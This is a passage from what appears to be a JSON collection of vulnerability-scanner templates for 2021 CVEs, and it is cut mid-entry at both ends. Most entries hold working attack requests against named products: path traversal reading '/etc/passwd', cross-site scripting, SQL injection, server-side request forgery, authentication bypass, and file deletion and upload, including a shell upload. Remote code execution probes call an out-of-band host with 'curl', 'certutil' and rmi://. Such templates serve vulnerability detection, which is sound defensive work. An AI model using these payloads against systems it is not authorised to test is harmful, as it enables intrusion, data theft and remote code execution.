Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css","{{BaseURL}}/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css"],"matchers-condition":"and","matchers":[{"type":"word","words":["application/json"],"part":"header"},{"type":"word","words":["\"results\":","\"name\":","\"tab\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29490","info":{"name":"Jellyfin 10.7.2 - Server Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/","{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["
 Interactsh Server 
"]}]}]},{"id":"CVE-2021-40868","info":{"name":"Cloudron 6.2 Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":[""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42063","info":{"name":"SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","SAPIKS2"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-32030","info":{"name":"ASUS GT-AC2900 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: asusrouter--\nReferer: {{BaseURL}}\nCookie: asus_token=\\0Invalid; clickedItem_tab=0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","words":["get_cfg_clientlist","alias","model_name"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26710","info":{"name":"Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24554","info":{"name":"WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nGET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"paytm-settings_page_wp_paytm_donation\")"],"condition":"and"}]}]},{"id":"CVE-2021-43734","info":{"name":"kkFileview v4.0.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd","{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:","for 16-bit app support"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24498","info":{"name":"WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["><","Calendar Details"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21479","info":{"name":"SCIMono <0.0.19 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"],"matchers":[{"type":"word","part":"body","words":["The attribute value","java.lang.UNIXProcess@","has invalid value!","\"status\" : \"400\""],"condition":"and"}]}]},{"id":"CVE-2021-24335","info":{"name":"WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46424","info":{"name":"Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete","severity":"critical"},"requests":[{"raw":["GET /images/icons_title.gif HTTP/1.1\nHost: {{Hostname}}\n","DELETE /images/icons_title.gif HTTP/1.1\nHost: {{Hostname}}\n","GET /images/icons_title.gif HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"]}]}]},{"id":"CVE-2021-37573","info":{"name":"Tiny Java Web Server - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
404 test not found
"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2021-31589","info":{"name":"BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","bomgar"],"case-insensitive":true,"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3110","info":{"name":"PrestaShop 1.7.7.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"average_grade\")"],"condition":"and"}]}]},{"id":"CVE-2021-3017","info":{"name":"Intelbras WIN 300/WRN 342 - Credentials Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.asp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["def_wirelesspassword =","Roteador Wireless"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["def_wirelesspassword = \"([A-Za-z0-9=]+)\";"],"part":"body"}]}]},{"id":"CVE-2021-27124","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"medium"},"requests":[{"raw":["POST /patient/search_result.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nexpertise=Heart'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL--+-&submit=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25b","Doctor Appoinment System"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20137","info":{"name":"Gryphon Tower - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["onfocus=alert(document.domain) autofocus=1>","Send Access Request URL"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3378","info":{"name":"FortiLogger 4.4.2.2 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS\nAccept: application/json\nReferer: {{BaseURL}}\nConnection: close\nX-Requested-With: XMLHttpRequest\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"file\"; filename=\"poc.txt\"\nContent-Type: image/png\n\n{{randstr}}\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\n","GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{randstr}}"]},{"type":"word","part":"header","words":["text/plain","ASP.NET"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24150","info":{"name":"WordPress Like Button Rating <2.6.32 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q={{base64('http://likebtn.com.oast.me')}}\" HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-38751","info":{"name":"ExponentCMS <= 2.6 - Host Header Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"Host":"{{randstr}}.tld"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{randstr}}.tld","EXPONENT.PATH","EXPONENT.URL"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41349","info":{"name":"Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /autodiscover/autodiscover.json HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["alert(document.domain);","a=\"\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"word","negative":true,"words":["A potentially dangerous Request.Form value was detected from the client"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-32820","info":{"name":"Express-handlebars - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?layout=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","daemon:[x*]:0:0:","operator:[x*]:0:0:"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44515","info":{"name":"Zoho ManageEngine Desktop Central - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /STATE_ID/123/agentLogUploader HTTP/1.1\nHost: {{Hostname}}\nCookie: STATE_COOKIE=&_REQS/_TIME/123\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["len(body) == 0"]},{"type":"word","part":"header","words":["UEMJSESSIONID="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25078","info":{"name":"Affiliates Manager < 2.9.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /?wpam_id=1 HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-For: \n","GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200 && status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"Affiliates Manager Click Tracking\")"],"condition":"and"}]}]},{"id":"CVE-2021-25074","info":{"name":"WordPress WebP Converter for Media < 4.0.3 - Unauthenticated Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/webp-converter-for-media/includes/passthru.php?src=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-24214","info":{"name":"WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-login.php?login-error="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ERROR ():","Login with OpenID Connect"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21803","info":{"name":"Advantech R-SeeNet - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zlo onerror=alert(1) \"","Device Status Graph"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42258","info":{"name":"BillQuick Web Suite SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST / HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\n\n__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode(\"{{VS}}\")}}&__VIEWSTATEGENERATOR={{url_encode(\"{{VSG}}\")}}&__EVENTVALIDATION={{url_encode(\"{{EV}}\")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96\n"],"cookie-reuse":true,"matchers":[{"type":"word","part":"body","words":["System.Data.SqlClient.SqlException","Incorrect syntax near","_ACCOUNTLOCKED"],"condition":"and"}],"extractors":[{"type":"xpath","name":"VS","internal":true,"xpath":["/html/body/form/div/input[@id='__VIEWSTATE']"],"attribute":"value"},{"type":"xpath","name":"VSG","internal":true,"xpath":["/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"],"attribute":"value"},{"type":"xpath","name":"EV","internal":true,"xpath":["/html/body/form/div/input[@id='__EVENTVALIDATION']"],"attribute":"value"}]}]},{"id":"CVE-2021-24285","info":{"name":"WordPress Car Seller - Auto Classifieds Script - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\naction=request_list_request&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["qzvvqhWAAlCfTiMDmAoqzkTpJEzPwVFSaIpfAfdfTinrMqqxkq"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22053","info":{"name":"Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"curl http://{{interactsh-url}}\")}__::.x/","{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"certutil -urlcache -split -f http://{{interactsh-url}}\")}__::.x/"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"regex","part":"interactsh_request","regex":["curl|CertUtil"]}]}]},{"id":"CVE-2021-43574","info":{"name":"Atmail 6.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\" does not exist"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500,403],"condition":"or"}]}]},{"id":"CVE-2021-24342","info":{"name":"WordPress JNews Theme <8.0.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /?ajax-request=jnews HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nlang=en_US&cat_id=6\">&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["Content-Type: text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-35587","info":{"name":"Oracle Access Manager - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/oam/server/opensso/sessionservice"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["x-oracle-dms-ecid","x-oracle-dms-rid"],"case-insensitive":true,"condition":"or"},{"type":"word","part":"body","words":["/oam/pages/css/general.css"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3297","info":{"name":"Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /status.htm HTTP/1.1\nHost: {{Hostname}}\nCookie: language=en; login=1\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["Running Time","Firmware Version","Firmware Build Time"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-32789","info":{"name":"WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500"],"matchers-condition":"and","matchers":[{"type":"word","words":["sqli-test","attribute_counts","price_range","term"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24347","info":{"name":"WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=sp-client-document-manager-fileview HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryaeBrxrKJzAF0Tgfy\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"cdm_upload_file_field\"\n\n{{nonce}}\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"_wp_http_referer\"\n\n/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-name\"\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"{{randstr}}.pHP\"\nContent-Type: image/svg+xml\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-notes\"\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"sp-cdm-community-upload\"\n\nUpload\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy--\n","GET /wp-content/uploads/sp-client-document-manager/1/{{to_lower(\"{{randstr}}.pHP\")}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 200","contains(body_4, \"CVE-2021-24347\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"cdm_upload_file_field\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2021-3019","info":{"name":"ffay lanproxy Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../conf/config.properties"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"],"condition":"and"},{"type":"word","part":"body","words":["config.admin.username","config.admin.password"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-30151","info":{"name":"Sidekiq <=6.2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sidekiq/queues/\"onmouseover=\"alert(document.domain)\""],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onmouseover=\"alert(document.domain)"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26085","info":{"name":"Atlassian Confluence Server - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Confluence","com.atlassian.confluence.setup.ConfluenceAppConfig"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46068","info":{"name":"Vehicle Service Management System - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /classes/Users.php?f=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid=1&firstname=Administrator%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=Admin&username=admin\n","GET /admin/?page=user HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \"Administrator\\\"> Admin\")"],"condition":"and"}]}]},{"id":"CVE-2021-39152","info":{"name":"XStream <1.4.18 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n  \n    \n      http://{{interactsh-url}}/internal/\n      GBK\n      1111\n      b\n      0\n      0\n    \n    \n  \n  \n    \n      http://{{interactsh-url}}/internal/\n      \n      1111\n      b\n      0\n      0\n    \n    \n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Java"]}]}]},{"id":"CVE-2021-21351","info":{"name":"XStream <1.4.16 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n  \n    ysomap\n    \n      \n        \n          -10086\n          \n            <__overrideDefaultParser>false\n            false\n            false\n            \n              \n            \n            \n          \n          false\n          false\n          \n            \n              \n                \n                  1008\n                  true\n                  1000\n                  0\n                  2\n                  0\n                  0\n                  0\n                  true\n                  1004\n                  false\n                  rmi://{{interactsh-url}}/test\n                  \n                  \n                \n              \n              \n                \n              \n            \n            \n              com.sun.rowset.JdbcRowSetImpl\n              setAutoCommit\n              \n                boolean\n              \n            \n            \n            false\n          \n          \n            false\n          \n          false\n          \n          -1\n          false\n          false\n        \n        1\n      \n      1\n      false\n    \n  \n  \n    ysomap\n    \n      test\n    \n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["timestamp","com.thoughtworks.xstream"],"condition":"or"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-24750","info":{"name":"WordPress Visitor Statistics (Real Time Traffic) <4.8 -SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5({{num}}),4--%20%22%7D HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-34805","info":{"name":"FAUST iServer 9.0.018.018.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24316","info":{"name":"WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Sorry, no posts matched your criteria."],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44152","info":{"name":"Reprise License Manager 14.2 - Authentication 